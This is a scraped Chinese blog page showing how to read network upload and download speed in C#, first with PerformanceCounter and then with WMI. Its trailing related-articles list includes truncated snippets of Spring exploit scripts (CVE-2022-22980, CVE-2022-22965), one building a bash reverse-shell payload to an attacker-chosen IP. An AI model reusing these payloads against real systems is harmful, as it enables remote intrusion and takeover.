首页 > 编程语言 >C# 读取网络上下行(不要使用性能计数器的方式)

C# 读取网络上下行(不要使用性能计数器的方式)

时间:2023-05-23 19:13:59浏览次数:45  
标签:PerformanceCounter Console String C# System 上下行 使用性能 sec WriteLine

C# 读取网络上下行有多种方式,其中有一种是使用System.Net.NetworkInformation命名空间中的NetworkInterface类和PerformanceCounter类,该方式其实读的是windows系统的性能计数器中的Network Interface类别的数据。

方式如下:

NetworkInterface networkInterface = NetworkInterface.GetAllNetworkInterfaces()
            .FirstOrDefault(i => i.Name.Equals(interfaceName, StringComparison.OrdinalIgnoreCase));

        if (networkInterface == null)
        {
            Console.WriteLine("Network interface not found.");
            return;
        }

        PerformanceCounter downloadCounter = new PerformanceCounter("Network Interface", "Bytes Received/sec", networkInterface.Description);
        PerformanceCounter uploadCounter = new PerformanceCounter("Network Interface", "Bytes Sent/sec", networkInterface.Description);

        while (true)
        {
            float downloadSpeed = downloadCounter.NextValue();
            float uploadSpeed = uploadCounter.NextValue();

            Console.WriteLine($"Download Speed: {downloadSpeed} bytes/sec");
            Console.WriteLine($"Upload Speed: {uploadSpeed} bytes/sec");

            Thread.Sleep(1000); // 每秒更新一次网速
        }

但是使用性能计数器有时候会抛异常:

异常: System.InvalidOperationException: 类别不存在。
   在 System.Diagnostics.PerformanceCounterLib.CounterExists(String machine, String category, String counter)
   在 System.Diagnostics.PerformanceCounter.InitializeImpl()
   在 System.Diagnostics.PerformanceCounter..ctor(String categoryName, String counterName, String instanceName, Boolean readOnly)
   在 System.Diagnostics.PerformanceCounter..ctor(String categoryName, String counterName, String instanceName)

打开“性能监视器”,点击“性能”,报错

 使用网上的各种处理都没办法恢复,所以建议使用其它方式获取网络上下行。

下面是使用WMI (Windows Management Instrumentation)的方式:

 string interfaceName = "Ethernet"; // 指定网络接口的名称

        ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_PerfFormattedData_Tcpip_NetworkInterface");
        ManagementObjectCollection objects = searcher.Get();

        foreach (ManagementObject obj in objects)
        {
            string name = obj["Name"].ToString();

            if (name.Equals(interfaceName, StringComparison.OrdinalIgnoreCase))
            {
                ulong bytesReceived = Convert.ToUInt64(obj["BytesReceivedPerSec"]);
                ulong bytesSent = Convert.ToUInt64(obj["BytesSentPerSec"]);

                Console.WriteLine($"Download Speed: {bytesReceived} bytes/sec");
                Console.WriteLine($"Upload Speed: {bytesSent} bytes/sec");

                break;
            }
        }

 

标签:PerformanceCounter,Console,String,C#,System,上下行,使用性能,sec,WriteLine
From: https://www.cnblogs.com/log9527blog/p/17426019.html

相关文章

  • Scrum的三个角色及其核心职责
    ​•Scrum 团队由一名产品负责人、Developers和一名 ScrumMaster 组成•Scrum 团队是跨职能的自组织团队,团队具备完成项目工作的所有能力。产品负责人 –PO的核心职责其核心职责有:•规划产品的方向和路线图,决定产品要做什么。•清晰的将产品的路线图、需求传递给开发......
  • xss平台搭建与打cookie
            ......
  • 中文 Code —— define 的聚集地
    #define命名空间usingnamespacestd;#define主函数intmain()#define终止return0;#define整数int#define长整数longlong#define双精度小数double#define单精度小数float#define布尔型bool#define字符char#define字符串string#define空的void#......
  • 阿里云vpc下面部署自建k8s一些注意事项
    简介这几天接手了一个政府单位项目,所有的资源均为云资源,而且是阿里云vpc机器。在部署k8s的过程中发现我部署的k8s跨主机网段不通。折腾了我好几天最后发现问题是我在vpc里面是用的不是规定的cidr,我是用的是172.235.0.0修改到规定的cidr清空etcd删除网络重装k8s即可。解决阿......
  • C++ 线程安全和可重入函数
    线程安全线程安全是指在多线程环境下,同一函数或函数库被不同线程调用,不会出现数据不一致的情况。如何确保一个函数是线程安全的:1.对共享资源加锁。2.从逻辑上进行设计,保证资源的访问修改不会冲突。一般情况下我们使用加锁的方式保证线程安全,具体加锁操作有互斥锁、条件变量、......
  • flask_SQLAlchemy 出现了 Lost connection to MySQL server during query Mysql主机连
    使用pythonflask框架 flask_sqlalchemy时出现了LostconnectiontoMySQLserverduringqueryMysql主机连接超时的问题由于Mysql会定时处理长时间未连接使用的连接池具体时长可通过查看showvariableslike'%timeout%' wait_timeout为超时时长,这里的时间时120秒......
  • CVE-2022-22980
    #CVE-2022-22980SpringDataMongoDBSpEL表达式注入importrequestsimporturllibimportbase64importargparsedefpoc(url,ip,prot):urll=f'{url}/?name='shell=f'/bin/bash-i>&/dev/tcp/{ip}/{prot}0>&1'shell=s......
  • CVE-2022-22965
    #CVE-2022-22965:Spring远程代码执行importrequestsimportargparseimporttimeimportreimportbase64importurllib.parseheader={"Accept-Encoding":"gzip,deflate","Accept":"*/*","Accept-Languag......
  • MYSQL设置密码时显示Failed! Error: SET PASSWORD has no significance for user 'roo
    ​ 用这个命令进入mysqlsudomysql在sql命令行输入以下命令回车,你就可以把密码改成mynewpasswordALTERUSER'root'@'localhost'IDENTIFIEDWITHmysql_native_passwordby'mynewpassword';exit回到终端命令行,输入:sudomysql_secure_installation输入刚才的......
  • MYSQL设置密码时显示Failed! Error: SET PASSWORD has no significance for user 'roo
    ​ 用这个命令进入mysqlsudomysql在sql命令行输入以下命令回车,你就可以把密码改成mynewpasswordALTERUSER'root'@'localhost'IDENTIFIEDWITHmysql_native_passwordby'mynewpassword';exit回到终端命令行,输入:sudomysql_secure_installation输入刚才的......